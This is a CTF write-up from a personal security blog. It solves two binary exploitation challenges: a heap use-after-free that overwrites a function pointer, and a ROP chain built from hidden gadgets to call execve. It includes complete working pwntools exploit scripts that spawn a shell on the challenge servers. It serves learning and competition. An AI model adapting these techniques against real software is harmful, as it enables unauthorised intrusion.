HyggeHalcyon
GithubLinkedIn
  • 🕊️whoami
  • 🚩CTFs
    • 2025
      • ARKAVIDIA Quals
      • TECHOMFEST Quals
    • 2024
      • BackdoorCTF
      • World Wide CTF
      • 7th Cyber Mimic Defense
      • TSA Cyber Champion
      • Cyber Jawara International
      • National Cyber Week Quals
      • COMPFEST 16 Finals
      • HackToday Finals
      • UIUCTF
      • TBTL CTF
      • BSidesSF CTF
      • UMD CTF
      • UMassCTF
      • b01lers CTF
      • AmateursCTF
      • UNbreakable International - Team Phase
    • 2023
      • HackToday CTF Quals
        • Vnote
        • TahuBulat
        • Rangkaian Digital
      • Tenable CTF
        • Skiddyana Pwnz and the Loom of Fate
        • Braggart
      • CiGITS
        • afafafaf
        • popping around shell
        • well_known
      • TJCTF
        • flip out
        • shelly
        • groppling-hook
        • formatter
        • teenage-game
      • SanDiegoCTF
        • money printer
        • turtle shell
      • DeadSec CTF
        • one punch
      • FindIT CTF Quals
        • Debugging Spiders
        • Everything Machine
        • Furr(y)verse
        • Bypass the Py
        • Joy Sketching in the Matrix
        • Detective Handal
        • I Like Matrix
        • CRYptograPI
        • Date Night
        • Web-Find IT
        • Mental Health Check
        • NCS Cipher
        • Discovered
  • 🔍NOTES
    • FSOP
      • Structures
      • GDB
      • Arbitrary Read/Write
      • Vtable Hijack
    • Heap Feng Shui
      • Libc Leak
    • Kernel Space
      • Privilege Escalation
      • Objects
      • Escaping Seccomp
    • V8
      • Documentation
      • TurboFan
      • SandBox (Ubercage)
  • 📚Resources
    • Cyber Security
      • General
      • Red Teaming
        • CheatSheet
        • Payload Database
        • Quality of Life
      • Binary Exploitation
        • Return Oriented Programming
        • File Structure Oriented Programming
        • Heap Exploitation
        • Linux Kernel Exploitation
        • Windows Exploitation
        • V8 Browser
      • Reverse Engineering
        • Windows Executable
        • Malware Analysis
        • Tools
      • Web Exploitation
      • Malware Development
      • Detection Engineering
      • Blockchain / Web3
      • Cryptography
    • Software Engineering
  • 📋Planning
    • Quick Notes
Powered by GitBook
On this page
  • heeaap
  • Description
  • Solution
  • not-allowed
  • Description
  • Solution
  1. CTFs
  2. 2024

UNbreakable International - Team Phase

PreviousAmateursCTFNext2023

Last updated 5 months ago

Team: HCS

Rank: 2nd / 341

Challenge
Category
Points
Solves

heeaap

Binary Exploitation

450 pts

9

not-allowed

Binary Exploitation

432 pts

12

heeaap

Description

Since strground was "too hard"...

Solution

We're given a binary, lets do some footprinting.

running the program, it's a typical heap CRUD challenge

Let's jump to ghidra and decompile~

Choosing the first option creates a chunk of size 64 and read some data to the chunk then assign at a certain offset a pointer to a function.

The second option does roughly the same, only it has a different size, offset, a different array in the global variable to keep track the chunks, different counter and also different print function assigned to it.

Based upon its name (print_current_ctf and print_ctf_description) the functions that is assigned when the chunk is created is presumably used to print the chunk's content.

Looking at what option 5 and those functions decompiled verifies this:

from this we can roughly recreate the two structure, namely ctf and descriptions as follow:

struct ctf {
    char[0x38]
    (code *)(fn)(ctf *)
}

struct description {
    char[0x40]
    (code *)(fn)(description *)
}

at this point I also probably mentioned there's a win function within the binary.

and so the goal is clear, the intended solution is to overwrite the function pointer with win() such that when we call option 5, it will spawn a shell instead.

Note there's some limitation made by the author as shown below,

  1. We're only limited to 3 allocation at a time for each type

  2. We can only create description only if there's the corresponding previously ctf struct has been made

Next is the spicy stuff, let's take a look how it frees stuff

As you guessed, it's an Use After Free vulnerability. Caused by dangling pointer since the program doesn't nullify the global array variable.

By dynamic analysis I created one chunk of each type and found something very interesting we could take advantage

Notice, even though both structure have a different size and the malloc call specify a different size as well, we ended up getting a same sized chunk (0x50). This is actually an expected behaviour from malloc.

The exploit stuff is quite easy, I have some illustration below to get a bigger picture how it works

First, we allocate two chunk of ctf and one chunk for description

And then we would free the first and the second chunk IN ORDER. Order matters because of how malloc utilizes cache and recycling of chunks. Our heap condition would look like this:

also note: we're still able to access these chunks since the program doesn't nullify it.

Next, we allocate a new description, and because of how malloc implements free chunk caching, it will recycle chunk1's segment.

The interesting bit is that since we're allocating a description struct, we're able to write more up to the offset of the function pointer, allowing us to overwrite it with whatever we want.

notice how description[0] and ctfs[0] now occupies or points to the same memory region. And the when we use option 5, it will use either one of the function pointer depending to which struct it dereferencing.

Now we just need to overwrite the function pointer with win() and call option 5. Once it dereference the ctfs[0], it will call win() instead of print.

Below is the full exploit script:

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './heap'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
host, port = '35.234.88.19', 30866 

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

# defined structs
CTFS = 1
DESC = 2

def create(type, buffer):
    io.sendlineafter(b'Choose:', str(type).encode())
    if len(buffer) < 60:
        io.sendlineafter(b':', buffer)
    else:
        io.sendafter(b':', buffer)

def delete(type):
    io.sendlineafter(b'Choose:', str(type+2).encode())

def exploit():
    global io
    io = initialize()

    create(CTFS, b'CTFS1')
    create(DESC, b'DESC1')
    create(CTFS, b'CTFS2')

    delete(DESC)
    delete(CTFS)

    payload = b'/bin/sh\x00' 
    payload += payload.ljust(56 - len(payload), b'A')
    payload += p32(elf.sym['win'])
    
    info('payload len: %d', len(payload))
    assert(len(payload) <= 60)
    
    create(DESC, payload)

    # trigger win
    io.sendlineafter(b'Choose:', b'5')
    io.sendlineafter(b'index:', b'1')

    io.interactive()
    
if __name__ == '__main__':
    exploit()

Flag: CTF{9b93e344611c1fa883es647n5a26130s23124ae5e56bc5005a319a710ae55a92}


not-allowed

Description

Silence speaks louder than words.

Solution

We're given a binary, lets do some footprinting.

Next, let's decompile the binary. We only have 2 function of interest notably main() and wish() shown below

main() basically does a quite huge amount of buffer overflow and then returns. In this situation it would be trivial to resort to ret2libc or ret2syscall, however this would prove to be unlikely or at least hard to execute due to 2 reason below:

  1. the program doesn't imports function that can has write functionality like puts() or printf(), and so to execute system() we would find another way to leak addresses.

  2. though the program have syscall; and pop rdi; ret; gadget, it does not have any other trivial gadget to control registers. And as the program returns from main, its registers are quite dirty for us to execute syscall as shown below.

wish() will fill the global variable string with binsh that will enables us to spawn shell. This heavily emphasizes that the intended solution is to execute execve().

since there's no PIE, after ROP-ing to wish() we can see the content of string and get its offset to /bin/sh with the address hardcoded.

Next, I spent quite some time analyzing the gadgets found by ROPgadget to chain the gadgets trying to control RAX, RSI and RDX.

First, I try to think myself how to control RAX since its how we control the syscall number to be executed. I think of giving an input of exactly 0x3b from fgets() in order to control it, just to realize unlike read(), gets() and fgets() does not return the number of bytes read but the pointer to destination buffer.

And I discovered an unusual (?) opcodes or instruction that doesn't get automatically get decompiled by ghidra just right after wish() shown below:

With ghidra, we can use the CTRL + D shortcut to manually decompile it and look what we've got:

And it's where some of some gadgets that for some reason doesn't ROPgadget wasn't able to get. And after some time analyzing the gadgets, I was able to collect and chain these gadgets to get code execution:

Gadget
Why?

pop rdi ;

ret ;

control RDI

xor rsi, rsi;

mov rsi, rax;

ret;

set RSI to NULL

xor edx, edx;

xor edi, edi;

nop; nop;

xor r12, r12;

mov r12; rax;

ret;

set RDX to NULL

imul edx ;

shr rdx, 0x3f ;

ret

control RAX, the multiplication result of imul edx ; will be stored in EAX

inc al;

ret;

control RAX, AL is the 8 bit portion of RAX

With this to chain it, first we need to thought of RAX. On the screenshot above just right after main returns, RAX currently holds a pointer, which is quite large in decimal.

We have a relatively large buffer so we can increment AL to 0x3b to execve to no problem. But we need to set it 0x0 beforehand.

To do that we will use the multiplication gadget, but in order to that, we need RDX to be 0x0 as well, luckily we have just the gadget to do that.

Below is the full exploit script

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './not-allowed'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]
host, port = '34.89.210.219', 32109 

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
break *0x040124f
'''.format(**locals())
# break *0x40124a

# =========================================================
#                         EXPLOITS
# =========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x3ff000)
# RUNPATH:  b'.'

BINSH = 0x0404070 + 13 # generated after calling wish()

def exploit():
    global io
    io = initialize()
    rop = ROP(exe)

    # some the gadgets used below won't be found using ROPgadget, the opcodes are
    # available just right after the wish() symbol.

    # https://stackoverflow.com/questions/3818755/imul-assembly-instruction-one-operand

    offset = 40
    payload = flat({
        offset: [
            elf.sym['wish'],
            0x4011b4,   # xor edx, edx; xor edi, edi; nop; nop; xor r12, r12; mov r12; rax; ret;    -> empties rdx
            0x40116e,   # imul edx ; shr rdx, 0x3f ; ret                                            -> multiplies, stores value in eax, since rdx are 0x0, any multiplication is 0x0
            0x04011c1,  # xor rsi, rsi; mov rsi, rax; ret;                                          -> empties rsi
            p64(0x04011ce) * 0x3b, # inc al; ret;                                                   -> execve
            rop.find_gadget(['pop rdi', 'ret'])[0],
            BINSH,
            rop.find_gadget(['syscall'])[0],
        ]
    })
    assert(len(payload) <= 600)
    io.sendline(payload)

    info('binsh: %#x', BINSH)
    io.interactive()
    
if __name__ == '__main__':
    exploit()

Flag: CTF{94688cdd453093ee28814f908a81a73595e0cdfcb1ef8bbbb83e0a7cf5af611d}


🚩
file format and checksec
option 1
option 2
option 5
print functions
win
checks for its corresponding ctf struct before made a description
checks the amount of allocation made at a time
option 3 & option 4
1st state
2nd state
file format and checksec
decompiled main
decompiled wish
Page cover image